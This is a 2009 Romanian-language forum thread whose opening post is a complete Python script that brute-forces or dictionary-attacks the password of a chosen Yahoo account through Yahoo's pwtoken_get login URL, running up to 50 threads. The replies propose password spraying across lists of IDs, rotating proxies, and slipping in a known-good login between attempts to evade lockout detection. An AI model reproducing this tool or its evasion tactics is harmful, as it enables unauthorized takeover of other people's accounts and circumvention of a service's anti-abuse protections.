cmiN Posted September 20, 2009 Report Share Posted September 20, 2009 #! /usr/bin/env python3.1# 09.09.2009 <> 20.09.2009 | cmiN# Yahoo Brute Force & Dictionary Attack (console)import sys, threading, urllib.requestclass YBFDA: def __init__(self, args): usage = """\t\t Yahoo Bf & Da 1.0\t Usage: YahooBfDa.py ymsgrid mode [charset_mode string_range] [words_file] timeoutWhere ymsgrid is the Yahoo ID mode is the attack mode: BF - Brute Force DA - Dictionary Attack charset_mode sets the characters to use: la - loweralpha ua - upperalpha d - digits o - others string_range is the length of the string from x to y: 1 - min 9 - max words_file is a text file containing the passwords timeout is a float (seconds)* Note that arguments in brackets may be missing and: charset_mode + string_range are used with "BF" mode words_file is used with "DA" mode\t Example: YahooBfDa.py cmin764 BF lad 6-9 1\t YahooBfDa.py cmin764 DA C:\\list.txt 0.1""" if len(args) in range(5, 7): try: self.ymsgrid = args[1] self.mode = args[2] self.url = "https://login.yahoo.com/config/pwtoken_get?src=ymsgr&login=" + self.ymsgrid + "&passwd=" self.outstr = None if self.mode == "BF": self.charset = list() self.strran = None first, last = int(args[4].split("-")[0]), int(args[4].split("-")[1]) if first <= last: self.strran = range(first, last + 1, 1) else: self.strran = range(first, last - 1, -1) if "la" in args[3]: self.charset.extend(['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']) if "ua" in args[3]: self.charset.extend(['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']) if "d" in args[3]: self.charset.extend(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']) if "o" in args[3]: self.charset.extend(['`', '~', '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', '_', '=', '+', '|', '[', '{', ']', '}', ';', ':', "'", '"', ',', '<', '.', '>', '/', '?', ' ']) self.timeout = float(args[5]) elif self.mode == "DA": self.infile = args[3] self.timeout = float(args[4]) else: raise Exception("invalid mode") self.start() except Exception as message: print("An error occurred: {}".format(message)) except: print("Unknown error.") else: print(usage) input() def start(self): MAX_THREADS = 50 if self.mode == "BF": for strlen in self.strran: if strlen == 1: generator = ("".join([word1]) for word1 in self.charset) elif strlen == 2: generator = ("".join([word1, word2]) for word1 in self.charset for word2 in self.charset) elif strlen == 3: generator = ("".join([word1, word2, word3]) for word1 in self.charset for word2 in self.charset for word3 in self.charset) elif strlen == 4: generator = ("".join([word1, word2, word3, word4]) for word1 in self.charset for word2 in self.charset for word3 in self.charset for word4 in self.charset) elif strlen == 5: generator = ("".join([word1, word2, word3, word4, word5]) for word1 in self.charset for word2 in self.charset for word3 in self.charset for word4 in self.charset for word5 in self.charset) elif strlen == 6: generator = ("".join([word1, word2, word3, word4, word5, word6]) for word1 in self.charset for word2 in self.charset for word3 in self.charset for word4 in self.charset for word5 in self.charset for word6 in self.charset) elif strlen == 7: generator = ("".join([word1, word2, word3, word4, word5, word6, word7]) for word1 in self.charset for word2 in self.charset for word3 in self.charset for word4 in self.charset for word5 in self.charset for word6 in self.charset for word7 in self.charset) elif strlen == 8: generator = ("".join([word1, word2, word3, word4, word5, word6, word7, word8]) for word1 in self.charset for word2 in self.charset for word3 in self.charset for word4 in self.charset for word5 in self.charset for word6 in self.charset for word7 in self.charset for word8 in self.charset) elif strlen == 9: generator = ("".join([word1, word2, word3, word4, word5, word6, word7, word8, word9]) for word1 in self.charset for word2 in self.charset for word3 in self.charset for word4 in self.charset for word5 in self.charset for word6 in self.charset for word7 in self.charset for word8 in self.charset for word9 in self.charset) for string in generator: while threading.activeCount() > MAX_THREADS: pass Scan(self, string).start() if not self.outstr is None: break if not self.outstr is None: break else: with open(self.infile, "r") as f: for string in f: while threading.activeCount() > MAX_THREADS: pass Scan(self, string).start() if not self.outstr is None: break while threading.activeCount() > 1: pass if self.outstr is None: print("The program didn't find the password.") else: print("The program found the password: {}".format(self.outstr))class Scan(threading.Thread): def __init__(self, app, string): threading.Thread.__init__(self) self.app = app self.string = string def run(self): try: with urllib.request.urlopen("".join([self.app.url, self.string.strip("\n")]), timeout=self.app.timeout) as u: x = int(str(u.read(1), encoding="utf-8")) if x == 0: self.app.outstr = self.string.strip("\n") except: print("Timed out !")if __name__ == "__main__": YBFDA(sys.argv)Python 3.1.1 -> Python Programming Language -- Official WebsiteEl merge perfect, dar vad ca de la un timp citeste rezultate aiurea desi informatiile sunt corecte. Dupa ce se incearca o parola de mai multe ori se prind si chiar daca bagi parola corecta ei trimit raspuns ca e gresita. Quote Link to comment Share on other sites More sharing options...
ROFL Posted September 20, 2009 Report Share Posted September 20, 2009 interesant, ai putea sa adaugi o optiune sa incerce o parola pe o lista de id-uri, pe langa cea de a incerca o lista de parole pe un singur id.oricum bravo! Quote Link to comment Share on other sites More sharing options...
cmiN Posted September 20, 2009 Author Report Share Posted September 20, 2009 Si pe langa asta puneam optiunea de a incerca fiecare id sau fiecare parola sau fiecare combinatie pe o lista de proxy-uri, puneam un status si in timp real sa poti vedea ce id-uri sunt incarcate, care sunt terminate si daca exista rezultate pozitive, iar daca treaba mergea bine mai bagam o clasa cu un GUI si scoteam un soft adevarat, dar din start conceptul e prost pentru ca pornesc de la link-ul: https://login.yahoo.com/config/pwtoken_get?src=ymsgr&login=[USER]&passwd=[PASSWORD] Quote Link to comment Share on other sites More sharing options...
loki Posted September 20, 2009 Report Share Posted September 20, 2009 mai simplu, fara proxy: incearca 5 parole, apoi un cont bun+parola buna. Apoi urmatoarele 5 parole si tot asa. Am testat cu un php metoda asta tot in pwtoken. Daca nu merge abia atunci motivul ar putea fi rapiditatea scriptului python si atunci iti ramane solutia cu proxy. Quote Link to comment Share on other sites More sharing options...
cmiN Posted September 20, 2009 Author Report Share Posted September 20, 2009 Am vazut ca face niste faze urate, cand primeste string-uri gen: aaa, aab, aac si nu imi dau seama o fi ceva de siguranta la ei, ca la fel cum as trimite string-uri diferite in masa cate 50 deodata, trimit si string-uri de astea gen rotitele de la kilometraj, dar se comporta aiurea, asa ca nu are rost. Oricum cand vrei ceva pentru viteza si optimizari etc C castiga nu Python, desi prin Python te salvezi cu lunile de zile in unele proiecte mai ales daca sunt complicate. Quote Link to comment Share on other sites More sharing options...